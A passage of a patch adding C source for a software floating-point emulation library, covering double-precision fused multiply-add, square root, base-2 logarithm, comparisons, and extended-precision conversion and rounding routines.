)<<( expDiff - 1 ) ) - bSig * q; + } + else { + aSig >>= 2; + bSig >>= 2; + } + do { + alternateASig = aSig; + ++q; + aSig -= bSig; + } while ( 0 <= (int64_t) aSig ); + sigMean = aSig + alternateASig; + if ( ( sigMean < 0 ) || ( ( sigMean == 0 ) && ( q & 1 ) ) ) { + aSig = alternateASig; + } + zSign = ( (int64_t) aSig < 0 ); + if ( zSign ) aSig = 0- aSig; + return normalizeRoundAndPackFloat64( aSign ^ zSign, bExp, aSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of multiplying the double-precision floating-point values +| `a' and `b' then adding 'c', with no intermediate rounding step after the +| multiplication. The operation is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic 754-2008. +| The flags argument allows the caller to select negation of the +| addend, the intermediate product, or the final result. (The difference +| between this and having the caller do a separate negation is that negating +| externally will flip the sign bit on NaNs.) +*----------------------------------------------------------------------------*/ + +float64 float64_muladd(float64 a, float64 b, float64 c, int flags STATUS_PARAM) +{ + flag aSign, bSign, cSign, zSign; + int_fast16_t aExp, bExp, cExp, pExp, zExp, expDiff; + uint64_t aSig, bSig, cSig; + flag pInf, pZero, pSign; + uint64_t pSig0, pSig1, cSig0, cSig1, zSig0, zSig1; + int shiftcount; + flag signflip, infzero; + + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + c = float64_squash_input_denormal(c STATUS_VAR); + aSig = extractFloat64Frac(a); + aExp = extractFloat64Exp(a); + aSign = extractFloat64Sign(a); + bSig = extractFloat64Frac(b); + bExp = extractFloat64Exp(b); + bSign = extractFloat64Sign(b); + cSig = extractFloat64Frac(c); + cExp = extractFloat64Exp(c); + cSign = extractFloat64Sign(c); + + infzero = ((aExp == 0 && aSig == 0 && bExp == 0x7ff && bSig == 0) || + (aExp == 0x7ff && aSig == 0 && bExp == 0 && bSig == 0)); + + /* It is implementation-defined whether the cases of (0,inf,qnan) + * and (inf,0,qnan) raise InvalidOperation or not (and what QNaN + * they return if they do), so we have to hand this information + * off to the target-specific pick-a-NaN routine. + */ + if (((aExp == 0x7ff) && aSig) || + ((bExp == 0x7ff) && bSig) || + ((cExp == 0x7ff) && cSig)) { + return propagateFloat64MulAddNaN(a, b, c, infzero STATUS_VAR); + } + + if (infzero) { + float_raise(float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + + if (flags & float_muladd_negate_c) { + cSign ^= 1; + } + + signflip = (flags & float_muladd_negate_result) ? 1 : 0; + + /* Work out the sign and type of the product */ + pSign = aSign ^ bSign; + if (flags & float_muladd_negate_product) { + pSign ^= 1; + } + pInf = (aExp == 0x7ff) || (bExp == 0x7ff); + pZero = ((aExp | aSig) == 0) || ((bExp | bSig) == 0); + + if (cExp == 0x7ff) { + if (pInf && (pSign ^ cSign)) { + /* addition of opposite-signed infinities => InvalidOperation */ + float_raise(float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + /* Otherwise generate an infinity of the same sign */ + return packFloat64(cSign ^ signflip, 0x7ff, 0); + } + + if (pInf) { + return packFloat64(pSign ^ signflip, 0x7ff, 0); + } + + if (pZero) { + if (cExp == 0) { + if (cSig == 0) { + /* Adding two exact zeroes */ + if (pSign == cSign) { + zSign = pSign; + } else if (STATUS(float_rounding_mode) == float_round_down) { + zSign = 1; + } else { + zSign = 0; + } + return packFloat64(zSign ^ signflip, 0, 0); + } + /* Exact zero plus a denorm */ + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloat64(cSign ^ signflip, 0, 0); + } + } + /* Zero plus something non-zero : just return the something */ + if (flags & float_muladd_halve_result) { + if (cExp == 0) { + normalizeFloat64Subnormal(cSig, &cExp, &cSig); + } + /* Subtract one to halve, and one again because roundAndPackFloat64 + * wants one less than the true exponent. + */ + cExp -= 2; + cSig = (cSig | 0x0010000000000000ULL) << 10; + return roundAndPackFloat64(cSign ^ signflip, cExp, cSig STATUS_VAR); + } + return packFloat64(cSign ^ signflip, cExp, cSig); + } + + if (aExp == 0) { + normalizeFloat64Subnormal(aSig, &aExp, &aSig); + } + if (bExp == 0) { + normalizeFloat64Subnormal(bSig, &bExp, &bSig); + } + + /* Calculate the actual result a * b + c */ + + /* Multiply first; this is easy. */ + /* NB: we subtract 0x3fe where float64_mul() subtracts 0x3ff + * because we want the true exponent, not the "one-less-than" + * flavour that roundAndPackFloat64() takes. + */ + pExp = aExp + bExp - 0x3fe; + aSig = (aSig | LIT64(0x0010000000000000))<<10; + bSig = (bSig | LIT64(0x0010000000000000))<<11; + mul64To128(aSig, bSig, &pSig0, &pSig1); + if ((int64_t)(pSig0 << 1) >= 0) { + shortShift128Left(pSig0, pSig1, 1, &pSig0, &pSig1); + pExp--; + } + + zSign = pSign ^ signflip; + + /* Now [pSig0:pSig1] is the significand of the multiply, with the explicit + * bit in position 126. + */ + if (cExp == 0) { + if (!cSig) { + /* Throw out the special case of c being an exact zero now */ + shift128RightJamming(pSig0, pSig1, 64, &pSig0, &pSig1); + if (flags & float_muladd_halve_result) { + pExp--; + } + return roundAndPackFloat64(zSign, pExp - 1, + pSig1 STATUS_VAR); + } + normalizeFloat64Subnormal(cSig, &cExp, &cSig); + } + + /* Shift cSig and add the explicit bit so [cSig0:cSig1] is the + * significand of the addend, with the explicit bit in position 126. + */ + cSig0 = cSig << (126 - 64 - 52); + cSig1 = 0; + cSig0 |= LIT64(0x4000000000000000); + expDiff = pExp - cExp; + + if (pSign == cSign) { + /* Addition */ + if (expDiff > 0) { + /* scale c to match p */ + shift128RightJamming(cSig0, cSig1, expDiff, &cSig0, &cSig1); + zExp = pExp; + } else if (expDiff < 0) { + /* scale p to match c */ + shift128RightJamming(pSig0, pSig1, -expDiff, &pSig0, &pSig1); + zExp = cExp; + } else { + /* no scaling needed */ + zExp = cExp; + } + /* Add significands and make sure explicit bit ends up in posn 126 */ + add128(pSig0, pSig1, cSig0, cSig1, &zSig0, &zSig1); + if ((int64_t)zSig0 < 0) { + shift128RightJamming(zSig0, zSig1, 1, &zSig0, &zSig1); + } else { + zExp--; + } + shift128RightJamming(zSig0, zSig1, 64, &zSig0, &zSig1); + if (flags & float_muladd_halve_result) { + zExp--; + } + return roundAndPackFloat64(zSign, zExp, zSig1 STATUS_VAR); + } else { + /* Subtraction */ + if (expDiff > 0) { + shift128RightJamming(cSig0, cSig1, expDiff, &cSig0, &cSig1); + sub128(pSig0, pSig1, cSig0, cSig1, &zSig0, &zSig1); + zExp = pExp; + } else if (expDiff < 0) { + shift128RightJamming(pSig0, pSig1, -expDiff, &pSig0, &pSig1); + sub128(cSig0, cSig1, pSig0, pSig1, &zSig0, &zSig1); + zExp = cExp; + zSign ^= 1; + } else { + zExp = pExp; + if (lt128(cSig0, cSig1, pSig0, pSig1)) { + sub128(pSig0, pSig1, cSig0, cSig1, &zSig0, &zSig1); + } else if (lt128(pSig0, pSig1, cSig0, cSig1)) { + sub128(cSig0, cSig1, pSig0, pSig1, &zSig0, &zSig1); + zSign ^= 1; + } else { + /* Exact zero */ + zSign = signflip; + if (STATUS(float_rounding_mode) == float_round_down) { + zSign ^= 1; + } + return packFloat64(zSign, 0, 0); + } + } + --zExp; + /* Do the equivalent of normalizeRoundAndPackFloat64() but + * starting with the significand in a pair of uint64_t. + */ + if (zSig0) { + shiftcount = countLeadingZeros64(zSig0) - 1; + shortShift128Left(zSig0, zSig1, shiftcount, &zSig0, &zSig1); + if (zSig1) { + zSig0 |= 1; + } + zExp -= shiftcount; + } else { + shiftcount = countLeadingZeros64(zSig1); + if (shiftcount == 0) { + zSig0 = (zSig1 >> 1) | (zSig1 & 1); + zExp -= 63; + } else { + shiftcount--; + zSig0 = zSig1 << shiftcount; + zExp -= (shiftcount + 64); + } + } + if (flags & float_muladd_halve_result) { + zExp--; + } + return roundAndPackFloat64(zSign, zExp, zSig0 STATUS_VAR); + } +} + +/*---------------------------------------------------------------------------- +| Returns the square root of the double-precision floating-point value `a'. +| The operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float64_sqrt( float64 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, zExp; + uint64_t aSig, zSig, doubleZSig; + uint64_t rem0, rem1, term0, term1; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + if ( aExp == 0x7FF ) { + if ( aSig ) return propagateFloat64NaN( a, a STATUS_VAR ); + if ( ! aSign ) return a; + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + if ( aSign ) { + if ( ( aExp | aSig ) == 0 ) return a; + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return float64_zero; + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + zExp = ( ( aExp - 0x3FF )>>1 ) + 0x3FE; + aSig |= LIT64( 0x0010000000000000 ); + zSig = estimateSqrt32( aExp, (uint32_t)(aSig>>21) ); + aSig <<= 9 - ( aExp & 1 ); + zSig = estimateDiv128To64( aSig, 0, zSig<<32 ) + ( zSig<<30 ); + if ( ( zSig & 0x1FF ) <= 5 ) { + doubleZSig = zSig<<1; + mul64To128( zSig, zSig, &term0, &term1 ); + sub128( aSig, 0, term0, term1, &rem0, &rem1 ); + while ( (int64_t) rem0 < 0 ) { + --zSig; + doubleZSig -= 2; + add128( rem0, rem1, zSig>>63, doubleZSig | 1, &rem0, &rem1 ); + } + zSig |= ( ( rem0 | rem1 ) != 0 ); + } + return roundAndPackFloat64( 0, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the binary log of the double-precision floating-point value `a'. +| The operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ +float64 float64_log2( float64 a STATUS_PARAM ) +{ + flag aSign, zSign; + int_fast16_t aExp; + uint64_t aSig, aSig0, aSig1, zSig, i; + a = float64_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat64Frac( a ); + aExp = extractFloat64Exp( a ); + aSign = extractFloat64Sign( a ); + + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat64( 1, 0x7FF, 0 ); + normalizeFloat64Subnormal( aSig, &aExp, &aSig ); + } + if ( aSign ) { + float_raise( float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + if ( aExp == 0x7FF ) { + if ( aSig ) return propagateFloat64NaN( a, float64_zero STATUS_VAR ); + return a; + } + + aExp -= 0x3FF; + aSig |= LIT64( 0x0010000000000000 ); + zSign = aExp < 0; + zSig = (uint64_t)aExp << 52; + for (i = 1LL << 51; i > 0; i >>= 1) { + mul64To128( aSig, aSig, &aSig0, &aSig1 ); + aSig = ( aSig0 << 12 ) | ( aSig1 >> 52 ); + if ( aSig & LIT64( 0x0020000000000000 ) ) { + aSig >>= 1; + zSig |= i; + } + } + + if ( zSign ) + zSig = 0-zSig; + return normalizeRoundAndPackFloat64( zSign, 0x408, zSig STATUS_VAR ); +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is equal to the +| corresponding value `b', and 0 otherwise. The invalid exception is raised +| if either operand is a NaN. Otherwise, the comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_eq( float64 a, float64 b STATUS_PARAM ) +{ + uint64_t av, bv; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + av = float64_val(a); + bv = float64_val(b); + return ( av == bv ) || ( (uint64_t) ( ( av | bv )<<1 ) == 0 ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is less than or +| equal to the corresponding value `b', and 0 otherwise. The invalid +| exception is raised if either operand is a NaN. The comparison is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_le( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint64_t av, bv; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + av = float64_val(a); + bv = float64_val(b); + if ( aSign != bSign ) return aSign || ( (uint64_t) ( ( av | bv )<<1 ) == 0 ); + return ( av == bv ) || ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. The invalid exception is +| raised if either operand is a NaN. The comparison is performed according +| to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_lt( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint64_t av, bv; + + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 0; + } + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + av = float64_val(a); + bv = float64_val(b); + if ( aSign != bSign ) return aSign && ( (uint64_t) ( ( av | bv )<<1 ) != 0 ); + return ( av != bv ) && ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. The invalid exception is raised if either +| operand is a NaN. The comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_unordered( float64 a, float64 b STATUS_PARAM ) +{ + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + float_raise( float_flag_invalid STATUS_VAR); + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is equal to the +| corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception.The comparison is performed according to the IEC/IEEE Standard +| for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_eq_quiet( float64 a, float64 b STATUS_PARAM ) +{ + uint64_t av, bv; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + if ( float64_is_signaling_nan( a ) || float64_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + av = float64_val(a); + bv = float64_val(b); + return ( av == bv ) || ( (uint64_t) ( ( av | bv )<<1 ) == 0 ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is less than or +| equal to the corresponding value `b', and 0 otherwise. Quiet NaNs do not +| cause an exception. Otherwise, the comparison is performed according to the +| IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_le_quiet( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint64_t av, bv; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + if ( float64_is_signaling_nan( a ) || float64_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + av = float64_val(a); + bv = float64_val(b); + if ( aSign != bSign ) return aSign || ( (uint64_t) ( ( av | bv )<<1 ) == 0 ); + return ( av == bv ) || ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point value `a' is less than +| the corresponding value `b', and 0 otherwise. Quiet NaNs do not cause an +| exception. Otherwise, the comparison is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_lt_quiet( float64 a, float64 b STATUS_PARAM ) +{ + flag aSign, bSign; + uint64_t av, bv; + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + if ( float64_is_signaling_nan( a ) || float64_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 0; + } + aSign = extractFloat64Sign( a ); + bSign = extractFloat64Sign( b ); + av = float64_val(a); + bv = float64_val(b); + if ( aSign != bSign ) return aSign && ( (uint64_t) ( ( av | bv )<<1 ) != 0 ); + return ( av != bv ) && ( aSign ^ ( av < bv ) ); + +} + +/*---------------------------------------------------------------------------- +| Returns 1 if the double-precision floating-point values `a' and `b' cannot +| be compared, and 0 otherwise. Quiet NaNs do not cause an exception. The +| comparison is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +int float64_unordered_quiet( float64 a, float64 b STATUS_PARAM ) +{ + a = float64_squash_input_denormal(a STATUS_VAR); + b = float64_squash_input_denormal(b STATUS_VAR); + + if ( ( ( extractFloat64Exp( a ) == 0x7FF ) && extractFloat64Frac( a ) ) + || ( ( extractFloat64Exp( b ) == 0x7FF ) && extractFloat64Frac( b ) ) + ) { + if ( float64_is_signaling_nan( a ) || float64_is_signaling_nan( b ) ) { + float_raise( float_flag_invalid STATUS_VAR); + } + return 1; + } + return 0; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the 32-bit two's complement integer format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic---which means in particular that the conversion +| is rounded according to the current rounding mode. If `a' is a NaN, the +| largest positive integer is returned. Otherwise, if the conversion +| overflows, the largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int32 floatx80_to_int32( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return (int32)(1U << 31); + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( ( aExp == 0x7FFF ) && (uint64_t) ( aSig<<1 ) ) aSign = 0; + shiftCount = 0x4037 - aExp; + if ( shiftCount <= 0 ) shiftCount = 1; + shift64RightJamming( aSig, shiftCount, &aSig ); + return roundAndPackInt32( aSign, aSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the 32-bit two's complement integer format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic, except that the conversion is always rounded +| toward zero. If `a' is a NaN, the largest positive integer is returned. +| Otherwise, if the conversion overflows, the largest integer with the same +| sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int32 floatx80_to_int32_round_to_zero( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig, savedASig; + int32_t z; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return (int32)(1U << 31); + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( 0x401E < aExp ) { + if ( ( aExp == 0x7FFF ) && (uint64_t) ( aSig<<1 ) ) aSign = 0; + goto invalid; + } + else if ( aExp < 0x3FFF ) { + if ( aExp || aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + shiftCount = 0x403E - aExp; + savedASig = aSig; + aSig >>= shiftCount; + z = (int32_t)aSig; + if ( aSign && (z != 0x80000000) ) z = - z; + if ( ( z < 0 ) ^ aSign ) { + invalid: + float_raise( float_flag_invalid STATUS_VAR); + return aSign ? (int32_t) 0x80000000 : 0x7FFFFFFF; + } + if ( ( aSig<<shiftCount ) != savedASig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the 64-bit two's complement integer format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic---which means in particular that the conversion +| is rounded according to the current rounding mode. If `a' is a NaN, +| the largest positive integer is returned. Otherwise, if the conversion +| overflows, the largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int64 floatx80_to_int64( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig, aSigExtra; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return (uint64_t)1 << 63; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + shiftCount = 0x403E - aExp; + if ( shiftCount <= 0 ) { + if ( shiftCount ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign + || ( ( aExp == 0x7FFF ) + && ( aSig != LIT64( 0x8000000000000000 ) ) ) + ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + aSigExtra = 0; + } + else { + shift64ExtraRightJamming( aSig, 0, shiftCount, &aSig, &aSigExtra ); + } + return roundAndPackInt64( aSign, aSig, aSigExtra STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the 64-bit two's complement integer format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic, except that the conversion is always rounded +| toward zero. If `a' is a NaN, the largest positive integer is returned. +| Otherwise, if the conversion overflows, the largest integer with the same +| sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int64 floatx80_to_int64_round_to_zero( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp, shiftCount; + uint64_t aSig; + int64 z; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return (uint64_t)1 << 63; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + shiftCount = aExp - 0x403E; + if ( 0 <= shiftCount ) { + aSig &= LIT64( 0x7FFFFFFFFFFFFFFF ); + if ( ( a.high != 0xC03E ) || aSig ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0x7FFF ) && aSig ) ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + else if ( aExp < 0x3FFF ) { + if ( aExp | aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + z = aSig>>( - shiftCount ); + if ( (uint64_t) ( aSig<<( shiftCount & 63 ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + if ( aSign ) z = - z; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the single-precision floating-point format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 floatx80_to_float32( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t aSig; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) ) { + return commonNaNToFloat32( floatx80ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + return packFloat32( aSign, 0xFF, 0 ); + } + shift64RightJamming( aSig, 33, &aSig ); + if ( aExp || aSig ) aExp -= 0x3F81; + return roundAndPackFloat32( aSign, aExp, (uint32_t)aSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the double-precision floating-point format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 floatx80_to_float64( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t aSig, zSig; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return float64_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( aExp == 0x7FFF ) { + if ( (uint64_t) ( aSig<<1 ) ) { + return commonNaNToFloat64( floatx80ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + return packFloat64( aSign, 0x7FF, 0 ); + } + shift64RightJamming( aSig, 1, &zSig ); + if ( aExp || aSig ) aExp -= 0x3C01; + return roundAndPackFloat64( aSign, aExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the extended double-precision floating- +| point value `a' to the quadruple-precision floating-point format. The +| conversion is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 floatx80_to_float128( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint64_t aSig, zSig0, zSig1; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return float128_default_nan; + } + aSig = extractFloatx80Frac( a ); + aExp = extractFloatx80Exp( a ); + aSign = extractFloatx80Sign( a ); + if ( ( aExp == 0x7FFF ) && (uint64_t) ( aSig<<1 ) ) { + return commonNaNToFloat128( floatx80ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + } + shift128Right( aSig<<1, 0, 16, &zSig0, &zSig1 ); + return packFloat128( aSign, aExp, zSig0, zSig1 ); + +} + +/*---------------------------------------------------------------------------- +| Rounds the extended double-precision floating-point value `a' to an integer, +| and returns the result as an extended quadruple-precision floating-point +| value. The operation is performed according to the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 floatx80_round_to_int( floatx80 a STATUS_PARAM ) +{ + flag aSign; + int32 aExp; + uint64_t lastBitMask, roundBitsMask; + floatx80 z; + + if (floatx80_invalid_encoding(a)) { + float_raise(float_flag_invalid STATUS_VAR); + return floatx80_default_nan; + } + aExp = extractFloatx80Exp( a ); + if ( 0x403E <= aExp ) { + if ( ( aExp == 0x7FFF ) && (uint64_t) ( extractFloatx80Frac( a )<<1 ) ) { + return propagateFloatx80NaN( a, a STATUS_VAR ); + } + return a; + } + if ( aExp < 0x3FFF ) { + if ( ( aExp == 0 ) + && ( (uint64_t) ( extractFloatx80Frac( a )<<1 ) == 0 ) ) { + return a; + } + STATUS(float_exception_flags) |= float_flag_inexact; + aSign = extractFloatx80Sign( a ); + switch ( STATUS(float_rounding_mode) ) { + case float_round_nearest_even: + if ( ( aExp == 0x3FFE ) && (uint64_t) ( extractFloatx80Frac( a )<<1 ) + ) { + return + packFloatx80( aSign, 0x3FFF, LIT64( 0x8000000000000000 ) ); + } + break; + case float_round_ties_away: + if (aExp == 0x3FFE) { + return packFloatx80(aSign, 0x3FFF, LIT64(0x8000000000000000)); + } + break; + case float_round_down: + return + aSign ? + packFloatx80( 1, 0x3FFF, LIT64( 0x8000000000000000 ) ) + : packFloatx80( 0, 0, 0 ); + case float_round_up: + return + aSign ? packFloatx80( 1, 0, 0 ) + : packFloatx80( 0, 0x3FFF, LIT64( 0x8000000000000000 ) ); + } + return packFloatx80( aSign, 0, 0 ); + } + lastBitMask = 1; + lastBitMask <<= 0x403E - aExp; + roundBitsMask = lastBitMask - 1; + z = a; + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + z.low += lastBitMask>>1; + if ((z.low & roundBitsMask) == 0) { + z.low &= ~lastBitMask; + } + break; + case float_round_ties_away: + z.low += lastBitMask >> 1; + break; + case float_round_to_zero: + break; + case float_round_up: + if (!extractFloatx80Sign(z)) { + z.low += roundBitsMask; + } + break; + case float_round_down: + if (extractFloatx80Sign(z)) { + z.low += roundBitsMask; + } + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + z.low &= ~ roundBitsMask; + if ( z.low == 0 ) { + ++z.high; + z.low = LIT64( 0x8000000000000000 ); + } + if ( z.low != a.low ) STATUS(float_exception_flags) |= float_flag_inexact; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the absolute values of the extended double- +| precision floating-point values `a' and `b'. If `zSign' is 1, the sum is +| negated before being returned. `zSign' is ignored if the result is a NaN. +| The addition is performed according to the 